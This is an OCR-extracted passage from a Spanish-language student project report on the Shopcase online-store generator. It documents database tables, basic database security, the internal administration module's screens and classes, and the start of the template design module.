
Tabla 22. Campos de la tabla RELATION_ATTRIBUTES_VALUES.

Nombre del Descripcion Tipo Llave primaria | Llave foranea
campo
Relation_Values_id | Identificador Unico del INTEGER(11)
valor perteneciente a v
una relacién.
Value_id Identificador del atributo | INTEGER(11)
al cual pertenece el v
valor.
Relation_id Identificador de la INTEGER(11)
relacidn a la que v
pertenecen los valores
que se inserten.
Orders

En esta tabla se almacenan las érdenes que realice un consumidor. Dependiendo del
estado se puede saber si la orden esta en progreso, ha sido finalizada, confirmada o
cancelada. A esta orden se la asociaran los productos que ha agregado el cliente. En
la orden se hard referencia a valores de otras tablas para tener la informacién
completa, entre ellos al tipo de envio, tipo de pago, y otros valores
complementarios.

Tabla 23. Campos de la tabla ORDERS.

Nombre del Descripcion Tipo Llave Llave
campo primaria foranea
Order _id Identificador Unicode la | INTEGER(11) v

orden.
Created_date Fecha en la que fue DATE

creada la orden.
Confirmed_date Fecha en la que fue DATE

confirmada la orden.

parte del portal.
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Nombre del Descripcion Tipo Llave Llave
campo primaria foranea
Cancelled_date Fecha en la que laorden | DATE
fue cancelada. Indica que
la orden ya no esta
vigente.
Observations Texto para ingresar VARCHAR(255)
observaciones o datos
extra.
Status Indica si el registro esta VARCHAR(255)
activo o no.
Client_id Identificador del cliente INTEGER(11) v
asociado a la orden.
Contact_id Identificador del INTEGER(11)
contacto del cliente v
asociado a la orden.
Payment_id Identificador del tipode | INTEGER(11) v
pago asociado.
Total Valor total del costo de la | REAL
orden.
Inv_name Nombre de facturacién VARCHAR(255)
gue ingresa el usuario
Nit Numero de identificacion | VARCHAR(255)
tributaria incluida en la
orden para hacerle
referencia.
Shipping_address | Direccion fisica en la que | VARCHAR(255)
sera entregada la orden.
Shipping Identificador del tipode | INTEGER(11)
shipping a la cual se esta v

previniendo.

Order_ltems

- En esta tabla se almacenan los productos que son agregados por un consumidor a

su orden. Cada entrada hace referencia a una orden, para indicar que en la orden se

han elegido ciertos productos. La cantidad de cada entrada junto con su valor

serviran para calcular el valor total en una orden.

Utilizar una tabla de detalle es el procedimiento comuin en bases de datos

relacionales al tratar informacién de esta naturelza, es decir, cuando para un

articulo en una dérden, es necesario conocer el detalle.
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Nombre del " . Llave Llave
Descripcion Tipo . . P
campo primaria foranea
ltem_id Identificador Unicode la | INTEGER(11) v
entrada en la orden.
Order_id Identificador de la orden | INTEGER(11)
a la cual pertenecen las 4
entradas de la tabla.
Product_id Identificador del INTEGER(11) v
producto que se ha
agregado a la orden.
Count Cantidad de productos REAL
gue se han agregado.
Client_id Identificador del cliente INTEGER(11) v
asociado a la orden.
Consumer_id Identificador del INTEGER(11)
consumidor que estd v
realizando la orden.
Price Precio total que se ha REAL

calculado por esta
entrada.

Shipping_Types

En esta tabla se almacenan los tipos de envios (shipping) a los que un consumidor puede

optar al momento de solicitar el traslado de sus productos.

Tabla 25. Campos de la tabla SHIPPING_TYPES.

Nombre del N . Llave Llave
Descripcion Tipo . . <
campo primaria foranea
Shipping_id Identificador unico del INTEGER(11) v
tipo de shipping.
Name Nombre dado al tipo de VARCHAR(255)
shipping para
identificarlo.
Description Da una breve descripcion | VARCHAR(255)
para identificar el tipo de
shipping.
Price Precio del shipping, DECIMAL
indica que cantidad de
dinero se cobrard por
brindar este servicio.
Client_id Indica a qué cliente INTEGER(11)

pertenece este servicio.
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- En esta tabla se almacenan los tipos de pago que en el proyecto se le presentaran

como posibles medios para cobrar a los clientes para que con su uso puedan

cobrarle a los consumidores por las érdenes solicitadas.

Tabla 26. Campos de la tabla PAYMENT_TYPES.

Nombre del

Descripcion Tipo Llave primaria | Llave foranea
campo
Payment_id Identificador dnico del INTEGER(11) v
tipo de pago.
Name Nombre para identificar | VARCHAR(255)
el tipo de pago.
Description Breve descripcidn para VARCHAR(255)

ayudar a identificar el
tipo de pago.

Client_Payments

- En esta tabla se almacenan los tipos de pago que tiene habilitados un cliente para

ofrecerles como servicio u opciones de cobro a sus consumidores.

Tabla 27. Campos de la tabla CLIENT_PAYMENTS.

Nombre del N . Llave Llave
Descripcion Tipo . . <
campo primaria foranea
Client_payment_id | Identificador unico del INTEGER(11)
tipo de pago de un v
cliente.
Client_id Identificador del cliente INTEGER(11)
gue posee este tipo de v
pago habilitado.
Payment_id Identificador del pago INTEGER(11)
gue se esta habilitando a v
un cliente.
Billing_Info

- En esta tabla se almacena la informacion de facturacién de los consumidores. Esta

sirve para llevar un registro de la informacion de los consumidores en cada orden.

Entre los datos guardados se lleva un control de direccién fisica similar a la de

facturacion de un cliente.
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Nombre del _ . Llave .
Descripcion Tipo . . Llave foranea
campo primaria
Billing_info_id Identificador Unico de la INTEGER(11)
entrada de informacidn
. v
de facturacion.
Full_name Nombre completo del VARCHAR(255)
consumidor para llevar un
mejor control.
Address Direccion fisica del VARCHAR(255)
consumidor.
City Ciudad asociada a la VARCHAR(35)
informacioén.
State Estado asociado a la VARCHAR(35)
informacioén.
Zip_code Cdédigo postal de la VARCHAR(10)
direccion fisica.
Country Pais asociado a la VARCHAR(35)
informacioén.
Phone Teléfono del consumidor | VARCHAR(25)
ingresado para la
facturacion.
Consumer_id Identificador del INTEGER(11)

consumidor al que
pertenece la informacion.

Announcements

En esta tabla se

almacenan los anuncios que un cliente desee presentar en su portal de

venta en linea. Con esto el cliente puede elegir una forma sencilla de presentar su publicidad o

simplemente anunciar una oferta o promocién a sus consumidores.
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Nombre del " . Llave Llave
Descripcion Tipo . . P
campo primaria foranea
Announcement_id | Identificador Unico del INTEGER(11) v
anuncio del cliente.
Client_id Identificador del cliente. | INTEGER(11) v
Image Imagen de anuncio. VARCHAR(255)
Active Indica si el anuncio esta BOOL
activo.
Type Indica tipo de anuncio. ENUM(1’, 2')
- Widgets
- En esta tabla se almacena un registro de los complementos que un cliente tiene en
su pantalla inicial de la pagina de administracidon. Dependiendo de los datos que en
esta se almacenen entonces cada cliente tendra sus complementos ordenados a su
eleccion.
Tabla 30. Campos de la tabla WIDGETS.
Nombre del N . Llave Llave
Descripcion Tipo . . <
campo primaria foranea
Widget_id Identificador Unicode la | INTEGER(11) v
entrada de preferencias.
Name Nombre del VARCHAR(255)
complemento que se
utiliza para identificarlo.
Content Contenido que se VARCHAR(255)
desplegara en el espacio
del complemento.
User_id Identificador del usuario | INTEGER(11)
asociado a estas v
preferencias.
Column Columna en la que debe | INTEGER
aparecer el
complemento.
Position Posicion en la columna INTEGER

en la que debe aparecer
el complemento.

- Activate_Passwords

- En esta tabla se almacenan las contrasefias que seran utilizadas para autenticar que

un usuario estd autorizado a crear un portal de venta en linea. Si la contrasefia no
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existe o no estd disponible entonces un usuario no podra crear su portal.

Tabla 31. Campos de la tabla ACTIVATE_PASSWORDS.

Nombre del e ., . Llave Llave
Descripcion Tipo . . P
campo primaria foranea
Password_id Identificador unico. INTEGER(11) v
Password Contraseia de VARCHAR(255)
confirmacién.
Email Correo electrénico al cual | VARCHAR(255)
se enviara la contrasefia.
Status Estado actual de la VARCHAR(255)

contrasefa.

- Administrators

En esta tabla se almacenan los usuarios autorizados a llevar a cabo tareas administrativas

relacionadas directamente con el

proyecto. Entre

administracion de clientes, generacidn de contrasefias y manejo de permisos.

Tabla 32. Campos de la tabla ADMINISTRATORS.

las tareas administrativas se encuentra la

Nombre del N . Llave Llave
Descripcion Tipo . . <
campo primaria foranea
Admin_id Identificador Unico del INTEGER(11) v
administrador.
Name Nombre del VARCHAR(255)
administrador.
Email Correo electrdénico del VARCHAR(255)
administrador, este sera
utilizado para iniciar
sesion.
Password Contrasefia para inicio de | VARCHAR(255)
sesion del administrador.
Status Estado del BOOL

administrador, indica si
esta activo o no.

D. Seguridad en la base de datos

La seguridad en la base de datos es una de las prioridades principales en el desarrollo del

Megaproyecto, ya que en esta se guarda informacidon sensitiva de los clientes y de la

administracién interna de tareas del generador de portales. La integridad y confidencialidad de

los datos debe mantenerse al maximo en todo momento.
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Para asegurar la confidencialidad e integridad de los datos se siguieron las
recomendaciones del desarrollo de una base de datos segura. No se ha dejado cddigo SQL
escrito en los archivos que se presentan al usuario, todas las consultas son hechas mediante
archivos de administracién de cada moédulo con los archivos de conexion (véase la seccién

disefio, documentacion técnica de este médulo).

Se implementd en el desarrollo de cada mdédulo una instancia del archivo clean_query para
limpiar toda entrada de textos en formas HTML de un usuario, evitando asi que cddigo SQL
malicioso llegue a ejecutarse en la base de datos. Con esto se previenen los ataques basicos de

SQL Injection a la base de datos.

Como parte de una buena practica de mantenimiento de un sitio web, se ha planificado la
tarea programada a realizarse cada intervalo de tiempo definido para hacer una copia de
seguridad del estado de la base de datos. Dependiendo del trafico de informacidn de los clientes
se programara esta tarea para realizarse de forma mas frecuente. Si el trafico es considerado
lento entonces, una copia de seguridad a la semana o al dia sera suficiente. Si el trafico es alto,
entonces se debe considerar realizar esta copia de seguridad de forma mas frecuente en un
intervalo de horas de diferencia. Con esta prdctica se ayuda a mantener la integridad y la
disponibilidad de los datos, ya que en caso de un siniestro o de un ataque malicioso la

informacién serd recuperada en su mayoria.



Xl. MODULO DE ADMINISTRACION INTERNA

A. Descripcién

El mddulo de administracién es un componente que brinda las herramientas necesarias a
un usuario administrador para llevar a cabo las siguientes tareas: generar contraseias de
autenticacién para generar un portal de venta en linea, administrar el estado de los clientes
actuales y para administrar los usuarios administradores que tienen acceso a estas

herramientas.

El mdédulo presenta una serie de paginas y archivos para la realizacidon de las tareas
anteriormente mencionadas. Las pantallas fueron disefiadas para facilitar la realizacion de una
tarea, y para maximizar el tiempo de uso de un administrador. El mddulo se conecta a la base de
datos mediante archivos especializados para la comunicacidon con la misma (véase Disefio,
documentacién técnica del médulo de base de datos). La generaciéon de contraseias de
autenticacién forma parte del proceso de generacion de un portal de venta en linea nuevo,

detallado en el trabajo del integrante Luis Guzman: mdédulo generador de portales.

B. Andlisis

1. Requerimientos. Para el médulo de administracién interna se han identificado los siguientes
requerimientos:

e Una interfaz clara y amigable para que el usuario pueda llevar a cabo sus respectivas tareas
en el tiempo éptimo.

e Debe autenticar el inicio de sesidon del usuario administrador, para mantener asi la
privacidad de los datos que son editados en el mddulo.

e Debe generar y enviar a un correo electrénico ingresado la contrasefia de autenticacién
para generar un portal de venta en linea, ademas esta debe ser almacenada en la base de
datos.

e Debe modificar los valores de estado de un cliente, para habilitar o deshabilitar un portal de
venta en linea.

e Debe ser capaz de crear, modificar y leer usuarios administradores y almacenarlos en la

base de datos, para asi brindar acceso a mas usuarios a las tareas de este médulo.

199
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2. Descripcién de usuario. Este mddulo serd utilizado exclusivamente por usuarios de tipo
administrador, quienes desean llevar a cabo tareas de generacion de contrasefias de
autenticacién, administracion de clientes o de de administradores. Es necesario que el usuario
sea capacitado para el uso adecuado de las interfaces, para esto debe estar familiarizado con la

interaccion con sistemas computarizados y el uso de una computadora.

3. Interaccién con la base de datos. Este mddulo interactia con las tablas de
ACTIVATE_PASSWORDS, CLIENTS y ADMINISTRATORS. Por medio de los archivos de
comunicacién con la base de datos se crea un registro en la primera tabla y es posible actualizar un
registro ya existente; se actualizan registros en la segunda tabla para administrar el estado de clientes y se

crean y actualizan registros en la tercera tabla para crear y administrar usuarios administradores.

4. Diagramas UML. Una contrasefia de autenticacidn pasa por varios estados desde que es
creada hasta que finaliza el proceso de generacién de un portal de venta en linea.
Inicialmente la contrasena tiene un estado “ACTIVA”, entonces es enviada y almacenada. Al
finalizar el proceso de generacién la contrasefia habrd cambiado a un estado de
“CONFIRMADA". Si en dado caso existiese un problema con el envio o algo similar, la contrasefia

sera cambiada de estado a “DESACTIVADA” para evitar su uso incorrecto.

A continuacién se presenta un diagrama que representa los estados que puede tomar una
contrasefia de autenticacion.

[lustracion 104. Diagrama de estados de una contrasefia de autenticacion.

CONFIRMADA

O somm ®

DESACTIVADA

La siguiente llustracion representa las actividades o tareas que puede llevar a cabo un

administrador en la pantalla de administracién de contrasefias.
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[lustracién 105. Diagrama de casos de uso del generador de contrasefias.

Generador de Contrasefias

Generar
contrasefia

Reenviar
contrasefia

Desactivar

Administrador contrasefia

Activar
contrasefia

Un cliente puede tener dos estados: “ACTIVO” o “INACTIVO”. El usuario administrador esta
encargado de cambiar este estado si fuera necesario, debido a problemas con el cliente o con la
cuenta del portal de venta en linea. La siguiente Ilustracién presenta los estados posibles de un

cliente.

[lustracién 106. Diagrama de estados de un cliente.

A continuacidn se presentan los casos de uso de la pantalla de administracion del cliente. El

usuario administrador estd encargado Unicamente de alterar el estado de un cliente, el resto de
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la informacion que es desplegada en esta pantalla es esencialmente complementaria para la

identificacion correcta del cliente que se esta modificando.

Ilustracién 107. Casos de uso del administrador de clientes.

Adminsitrador de Clientes

Activar cliente

Desactivar
cliente

Administrador

La ultima tarea que es posible realizarse en este médulo consta en crear y administrar
usuarios administradores. Un administrador es capaz mediante la interfaz de administrar
administradores de crear, modificar, actualizar o administrar las cuentas de otros usuarios

administradores. A continuacidn se presentan los casos de uso de esta interfaz.

Ilustracién 108. Casos de uso del administrador de administradores.

Adminsitrador de Administradores

Crear
administrador

Modificar
administrador

Administrador

Activar
Desactivar
Administrador
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C. Diseno

1. Descripcion de pantallas. El médulo de administracion interna ha sido disefiado para
el acceso de varios usuario a realizar tareas. El proceso que se lleva a cabo para realizar
una tarea en este modulo consta de:
- Autenticarse, iniciar sesion.
- Ingresar al portal
- Realizar tareas

- Retirarse del portal, finalizar sesion.

a. Inicio de sesidn. Para autenticarse, el usuario interactia con una pantalla de inicio

de sesién. Aqui el usuario ingresa la informacién solicitada, correo electrénico y

contrasefia, la cual es verificada con los registros de la base de datos para confirmar que sea
correcta. Al confirmarse la autenticacién del usuario, se procede a reenviar a las diferentes
pantallas de tareas. La siguiente llustracion muestra la pantalla de inicio de sesién para el

modulo de administracion interna.

llustracién 109. Pantalla de inicio de sesidon, mdédulo de administracion.

Iniciar Sesion

b. Administracion de clientes. Luego de autenticarse el usuario es redirigido al menu
de tareas que desee realizar. Para manejar clientes el administrador ingresa a la

pantalla de administracion y dentro de ella modifica los estados de los clientes que desee. Se
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presenta en una vista de tabla toda la informacién relevante del cliente para que el usuario
administrador pueda identificar a cada cliente. El administrador necesita Unicamente que hacer
click en un botén para cambiar el estado de un cliente, de “ACTIVO” a “INACTIVO” y viceversa.

La siguiente llustracion muestra la pantalla para administrar clientes.

llustracién 110. Interfaz de administracién de clientes.

Shopease

hup:/flocalhost:8888/Shopcase (Glass)/adminCore/ C, - uml diagrams

Administrar Clientes

Nombre Email Teléfono Direccién

Ejemplo | ejemplo@gmail.com 24779315 | 1 calle 1-10 zona 1

lalilulelot7@gmail. com 25(: ﬂ:%ﬂﬁ-@mﬂn? www.google.com

788978 | 7BB@Edasc.com - 789978 INACTIVO

dsa@das.com

Guatemala, Guatemala

Con esta interfaz el usuario administrador es capaz de visualizar la informacion relevante de

los clientes y modificar su estado de forma correcta.

c. Generador de contrasefias. Otra tarea disponible en este mddulo es la de generar
contrasefias de autenticacién. Estas contrasefias son utilizadas por el maddulo
generador de portales para verificar que el cliente esta autorizado para generar un portal de

venta en linea.

Inicialmente el administrador ingresa a la pantalla en la cual deberd ingresar el correo
electronico del cliente para que se le envie la contrasefia de autenticacién. La interfaz se

encarga de generar una contrasefia aleatoria, formada de una combinaciéon de caracteres y
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nameros, para luego ser enviada por correo electronico y almacenada en la base de datos. La

siguiente llustracidn presenta la interfaz para generar contrasefias de autenticacion.

[lustracion 111. Interfaz para generar contrasefias.

Clientes

Generar Contrasefia | Administrar Contrasefas

Contrasefias

Administradores

Generar Contrasefias

Email *

Conirasena
| 21969ba7c005b357f27f082bb24adbac |

(*) Campo requerido.
Nota: la contrasefia es generada cada vez que se carga la pagina.

Enviar

Luego de generar la contrasefia, el administrador puede proceder a manejar los estado de
las contrasefias ya generadas. También puede decidir si reenviar o no una contrasefia que ya se
habia envidado anteriormente, que no fue recibida debido a algun problema. El usuario
simplemente con hacer click en un botén puede cambiar el estado de una contrasefia o
reenvidrsela al correo electrénico que se ha especificado al momento de almacenarla. La

siguiente llustracion muestra la interfaz para administrar contraseiias.

[lustracion 112. Interfaz para administrar contrasefias.

Clientes

Administrar Contrasefias

Conirasefas

Administradores Administrar Contrasefias

Acciones

dsad@dsa.com | Desactivada

lalilulelo17@gmail.com | Desactivada ‘
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d. Administracion de administradores. Finalmente, un administrador puede crear
nuevos administradores o modificar a los que ya han sido creados. Se le presenta al
usuario una interfaz para ingresar los datos necesarios para crear un administrador, luego el
sistema se encarga de enviar un correo con notificacién al usuario que se ha creado. Estos
usuarios seran luego capaces de realizar las mismas tareas que el usuario que los creo, las tareas

gue han sido mencionadas anteriormente.

La siguiente llustracidn presenta la interfaz para crear un nuevo administrador. No se presenta
la interfaz de administracién ya que es similar a las dos interfaces de administracién mostradas

anteriormente.

[lustracion 113. Interfaz para crear un nuevo administrador.

800 Shopcase - Administradores

(Qr)e](+

G] (Qv uml diagrams

(f,) http:/ /localhost:8888 /Shopcase (Glass)/adminCore/admins. php#create
i ) Shopcase - Administradores

Clientes

Adminisiradores { Agregar Administrador

Contrasefias

Administradores Agregar Usuario

Nombre *

Email *

Contraseria
‘b2af730f4fdfe2ﬁb511882c3e24e701 |

(*) Campo requerido.
Nota: la conirasefia es generada cada vez que se carga la pagina.
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2. Documentacion técnica. La funcionalidad de este mddulo consta de un conjunto de
archivos para administrar registros y crear nuevos en la base de datos. Parte de los
archivos son para desplegar las interfaces al usuario, pero los archivos principales son aquellos
gue hacen uso de las herramientas de comunicacion del mddulo de la base de datos (véase
Disefio, documentacion técnica del mddulo de la base de datos). Cada uno de estos archivos
hace uso de métodos especificos para crear, modificar o seleccionar los registros necesarios

para llevar a cabo las tareas necesarias.

a. clientAdmin.php En esta clase se crean los métodos necesarios para la
administracion de clientes. ElI usuario administrador entra a esta pantalla para

modificar los estados de los clientes. Es necesario obtener una lista con todos los clientes
actuales del Megaproyecto, entonces es necesario un método de seleccidén para obtener esta

lista de la base de datos. Las funciones de esta clase son las siguientes:

e  construct
o Entradas: ninguna.
o Salidas: ninguna.
o Funcionalidad: se inicializan los objetos para comunicarse con la base de
datos.
e create
o Entradas: nombre, teléfono, direccion, sitio web, datos de facturacion, nit,
color, usuario y contrasefia de Facebook, y usuario y contrasefia de Twitter.
o Salidas: ninguna.
o Funcionalidad: es utilizado para crear un nuevo registro en la tabla CLIENTS
de la base de datos.
e modify
o Entradas: identificador Unico, nombre, teléfono, direccion, sitio web, datos
de facturacion, nit, color, usuario y contrasefia de Facebook, y usuario y
contrasefia de Twitter.
o Salidas: ninguna.
o Funcionalidad: es utilizado para modificar los datos de un registro existente

en la tabla CLIENTS de la base de datos.
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e changeStatus

O

Entradas: identificador Unico y estado.

o Salidas: ninguna.

O

Funcionalidad: es utilizado para modificar exclusivamente el estado de un

registro en la tabla CLIENTS de la base de datos.

b. passwordAdmin.php. Esta clase es utilizada para administrar los cambios y generar

nuevos registros en la tabla ACTIVATE_PASSWORDS de la base de datos. Las

funciones otorgadas en este archivo permiten que el usuario administrador sea capaz de llevar a

cabo las tareas de generar y administrar las contrasefias de autenticacion para generar un portal

de venta en linea. Las funciones de esta clase son las sigiuentes:

e _ construct
o Entradas: ninguna.
o Salidas: ninguna.
o Funcionalidad: se inicializan los objetos para la comunicacién con la base de
datos.
e create
o Entradas: correo electrénico y contraseiia.
o Salidas: ninguna.
o Funcionalidad: este método se utiliza para crear un nuevo registro en la

tabla ACTIVATE_PASSWORDS de la base de datos, para almacenar una

nueva contrasefia de autenticacion.

e changeStatus

O

O

Entradas: estado e identificador Unico.

Salidas: ninguna.

Funcionalidad: este método se utiliza para administrar los estados de una
contrasefia de  autenticacion ya almacenada en la tabla
ACTIVATE_PASSWORDS de la base de datos. El estado es modificado en la
tabla dependiendo de la acciéon del administrador este puede ser

“ACTIVADA” o “DESACTIVADA”.

c. userAdmin.php. Esta clase se utiliza para brindar las funciones necesarias para
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llevar a cabo las tareas de crear y modificar un usuario administrador, creando
registros nuevos o modificando registros existentes en la tabla ADMINISTRATORS de la base de

datos. Las funciones de esta clase son las siguientes:

e _ construct

o Entradas: ninguna.

o Salidas: ninguna.

o Funcionalidad: se inicializan los objetos para la comunicacién con la base de
datos.

e create

o Entradas: nombre,correo electrénico y contraseiia.

o Salidas: ninguna.

o Funcionalidad: este método se utiliza para crear un nuevo registro en la
tabla ADMINISTRATORS de la base de datos, para almacenar un nuevo
usuario administrador.

e changeStatus

o Entradas: estado e identificador unico.

o Salidas: ninguna.

o Funcionalidad: este método se utiliza para administrar los estados de un
usuario administrador ya almacenado en la tabla ADMINISTRATORS de la
base de datos. El estado es modificado en la tabla dependiendo de la

accion del administrador este puede ser “ACTIVO” o “INACTIVO”.

D. Usabilidad

Este mddulo estd dedicado a brindar herramientas a los usuario para llevar a cabo tareas de
administracion, es por esto que es de suma importancia que las interfaces ayuden a maximizar

el rendimiento de los usuarios y no sean una barrera que entorpezca su desempefio.

Para brindar la funcionalidad necesaria al usuario para llevar a cabo con éxito sus tareas

fueron tomados en cuenta los siguientes puntos:

e La interfaz debe ser amigable para el usuario, no debe tratarse de una interfaz

complicada que confunda las tareas.
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e Debe existir un menu que permita llegar con facilidad a todas las partes del médulo
para que el usuario no pierda tiempo buscando como llegar a la pagina que
necesita para trabajar.

e Las tareas han sido agrupadas en secciones para su facil acceso, cada una de ellas
dentro de cada seccién ha sido colocada en un ordenamiento por pestafias para
que el usuario pueda realizar varias tareas sin cambiar de seccion.

llustracién 114. Agrupamiento en pestafias.

Generar Contrasefia | Administrar Contrasefias _

Generar Contrasenas

Email *

| |

Contrasefia
l 958a5182b130656c2:b0b50756:1690l

(*) Campo requerido.
Nota: la contrasefia es generada cada vez que se carga la pagina.

e Para realizar acciones sencillas, como cambiar un estado, se provee al usuario un
botdén Unico para llevar a cabo la tarea. De esta forma se evita que deba ingresar
datos escritos, ahorrando asi tiempo.

[lustracion 115. Ejemplo de una interfaz para cambio de estado.

www.ejemplo.com ‘ ACTIVO ‘ L;:Eirpal:ji:r

www.google.com ‘ ACTIVO ‘

Estado

789978 ‘ INACTIVO ‘ Cambiar
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e Los mensajes de error deben ser informativos, mas no invasivos para que el usuario
comprenda la naturaleza de los mismos.

[lustracion 116. Mensaje de error, campo requerido.

Generar Contrasenas

Email *

‘ ‘ +— Este campo es requerido

Contrasefia
‘958a5IBEb139556c2cbﬂb5ﬂ?56c169U‘

(*) Campo requerido.
Nota: |la contrasefia es generada cada vez que se carga la pagina.

E. Seguridad

La seguridad implementada en este mddulo fue sencilla pero importante, debido a la
naturaleza de la informacién que en él se maneja. La seguridad del sistema depende de la
seguridad de cada médulo del Megaproyecto. Anteriormente se menciond (véase seccion B del
marco tedrico) un conjunto de técnicas y recomendaciones para implementar un nivel basico de
seguridad para un sitio web. Las interfaces de este mddulo limitan las acciones que puede
realizar un usuario, manteniendo asi lo maximo posible la integridad y la privacidad de la

informacién que se maneja en este mddulo.

Para mantener la integridad en los datos, las formas de ingreso para el usuario limitan al
maximo el ingreso de texto libre para minimizar los posibles errores que pueda generar el
usuario por un texto mal ingresado. Los botones para el manejo de estados son una practica
para evitar que el usuario ingrese un estado que no sea correcto, o que intente ingresar cédigo
malicioso para atacar la base de datos. Los campos de ingreso de texto han sido validados
utilizando JQuery (véase el capitulo de herramientas utilizadas, seccidon JQuery) para asegurar

que los datos que se ingresen tengan el formato correcto, por ejemplo que un correo
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electrénico sea ingresado de forma correcta y no texto aleatorio. La siguiente llustracion

presenta la forma en la que se indica que un dato ha sido ingresado en el formato incorrecto.

llustracion 117. Error por formato invalido.

Generar Contrasenas

Email *

l asd l + Ingrese un valor valido de email

Contrasefia
l 95444b5a6f5c4dlea3dl747ea8187eef l

(*) Campo requerido.
Nota: la contrasefia es generada cada vez que se carga la pagina.

Luego que el usuario ingresa todos los textos en el formato aceptado, entonces pasan al

siguiente paso de sanitizacidn de los datos donde utilizando funciones de PHP (véase capitulo de
herramientas utilizadas, seccion PHP) se limpia de cédigo malicioso para evitar ataques al sitio.
Adicional a esto se utilizan las herramientas brindadas por el mddulo de base de datos para

limpiar los textos para evitar el ingreso de cddigo malicioso para un ataque de SQL Injection.



XIl. MODULO DE DISENO DE PLANTILLAS

Teniendo estas vistas aprobadas se prosiguid a examinar sitios de venta en linea que
existieran con caracteristicas similares a las que se buscaban para el sistema de Shopcase. Se
hicieron varias propuestas de las cuales se obtuvieron ciertos sitios existentes que podrian

ayudar al desarrollo del disefio.

Contando con varios puntos de referencia se empezd a realizar el disefio de las vistas de un
sitio de prueba, manejando informacién de datos falsos. Después de varias modificaciones se

llegaron a definir dos plantillas que cumplian con la mayoria de requisitos.

A. Descripcion.

El mdédulo de disefio de plantillas fue fundamental para contar con vistas correctas desde
un punto de vista de disefio y un punto de vista de usabilidad. Las vistas desarrolladas a partir de
este disefio son las mostradas en el mddulo de portal de venta en linea y en el médulo de

administrador para consumidores ya que ambos mddulos siguen el mismo estilo visual.

El trabajo en este mddulo inicia desde el disefio de la ubicacién de cada componente en
todo el sistema a través de investigacion e implementacién de mejores practicas. Para la
segunda parte se desarrolla un plantilla funcional que implemente cada componente definido
en la fase anterior. Por ultimo, se desarrolla una plantilla que siga los lineamientos de disefio,
también mostrados en este trabajo, y que se ajuste al estilo desarrollado en la segunda fase. Los
cambios mostrados en las plantillas mostraran la diferencia que existe en ambos estilos desde

un punto de vista de disefio.

Los clientes directos del sistema, definiran en base a ciertas plantillas de disefio
predefinidas, el estilo de su portal de venta. Este estilo serd el mismo que sus clientes

observaran.

213
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B. Analisis

1. Requerimientos. Para el mddulo de disefio de plantillas se identificaron los siguientes
requerimientos:

- Implementacidon de los conceptos de disefio y usabilidad investigados.

- Desarrollo de una serie de “vistas borrador” que muestren los componentes de cada
vista del sistema y su ubicacién.

- Desarrollo de un prototipo web HTML que contribuya a mostrar una vista general
del sistema.

- Desarrollo de las plantillas con diferentes estilos que se ajusten a las necesidades
del sistema.

- Implementacién de las plantillas en los méddulos de administrador para
consumidores y portal de venta en linea.

- Al final del proceso los clientes directos de Shopcase, seleccionaran en base a la
plantilla de disefio predefinida, el estilo de su portal de venta. Este estilo serd el

mismo que sus clientes observaran.

2. Prototipo. El prototipo incluye de forma descriptiva cada uno de los componentes del
sistema. Ejemplifica el flujo de la informacidn a través de distintos archivos HTML y la
navegacion a través de ellos. Incluye vistas concernientes a la administracién del sistema:
modulo de administracion de empresas, administracion del consumidor y generador. El estilo y
el disefio de este prototipo no seria importante ya que su funcién es mostrar la ubicacién de

cada componente y la navegacion a través del sistema.

3. Vistas borrador. Después de contar con el prototipo se desarrollaron vistas borrador (en
diagramas de cajas) por cada una de las vistas del sistema. Estas vistas mostraran la
ubicacién de los componentes en cada vista (al igual que el prototipo) pero servirdn como base

estandar para realizar el desarrollo de la plantilla maestra.

C. Diseio

1. Descripcidon del proceso de diseno. Para definir las plantillas disponibles se realizé un
trabajo investigacion donde se examinaron reglas populares de disefio, mejores
practicas dentro del campo de venta en linea, herramientas de programacién y un desarrollo

por fases. Las plantillas ofreceran una estructura conveniente para un sitio de venta en linea
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(espacio para carrito de compras, despliegue de productos, publicidad, categorias, logo de la

empresa, etc.).

El desarrollo por fases marcd la evolucién del disefio de principio a fin. Las plantillas
empezaron como sketches en hojas de papel para tener una capacidad de modificacidon
inmediata e involucrar a todos los integrantes. Teniendo claros los componentes que tendrian
lugar en las vistas del sitio se realizd un prototipo utilizando un disefio de prueba. Este
prototipo, realizado utilizando solamente HTML, sirvid para visualizar diferentes puntos a tomar
en cuenta y para definir el control de la informacidn que se manejaria. Al ser aprobada la
distribucién de los componentes del sitio, se desarrollaron vistas borrador para todas las vistas

posibles del sistema utilizando Photoshop CS4.

Teniendo estas vistas aprobadas se prosiguié a examinar sitios de venta en linea, que
existieran con caracteristicas similares a las que se buscaban para el sistema de Shopcase. Se
hicieron varias propuestas de las cuales se obtuvieron ciertos sitios existentes que podrian

ayudar al desarrollo del disefio.

2. Vistas del prototipo. En esta seccién se muestran algunas de las vistas que el prototipo

incluye.

[lustracion 118. Vista del prototipo del catdlogo de productos del Médulo de Administracion de

Empresas

Catalogo de Productos W
Codgo imegon Nombre de Precs por Cantsdod Accarron ICOmMTO CO.
Noducto roducto Uradad o Outribusdons de

et ok Hardwaere
Cumemala, GY
#AIIAD2 Mosse Q20000 as LA AR Webate

Inaslambrce MOOW 1CAN
ViR O
#AZAZ DA OiMM DDA Q40000 “9 LA AR

BAM 168 T MO 1ICAN
¢ 2300 VIR PO

#243322 Mo or Acer Q150000 12 CLAMAN

23" o OO 1EAN
VIR O

AGRLGAR WUEVD PRODLCTD

* Cacae Masien

wore fe | o Fie seected
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[lustracion 119. Vista del prototipo del registro del consumidor del Médulo de Administracidn

del Consumidor

JCORZO CO.

. EHEE: g

Trgrems les sigeierdes dalny pars reg el racis *‘
Pl o £ gl

BECCIAL DR 09
Retniniiiil L OE AMLELLE
Faiimrard

Cprfarrar Feppeod

Nrilip SF el doeh ol lled oFf e el nleS B e EnlaTr., Tl p AR

il Ko

llustracion 120. Vista del prototipo del registro del cliente del Médulo Generador

Modulo de Generacion del Shopping Cart Wﬁn
Definir dominio (Nombre de la pagina): ' JCORZO €O
Distribuidora de
http://www. shopcase.com Hardware
Guatemala, GT
Webske

Categoria del Negocio:

3. Vistas borrador. Las vistas borrador son una serie de diagramas de cajas que muestran la
ubicacién de cada componente en cada vista del sistema. En la parte inferior de los diagramas se

muestra la clave que describe cada componente de esa vista a través de su respectivo color.
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llustracion 121. Diagrama de cajas de la pagina principal del sistema.

Clave

I Header de pagina: Inchuye mend, login de usuario existente, logo de Shopcase, fecha actual

I Columnade navegacidn: Incluye vinculos a secciones de informcién de la empresa (Contactos, Servicios, Historia, etc)
[ Columnade publicdad: Inkcuye imdgenes, anuncios, etc. que beneficien a la empresa

B Seccidn Principal

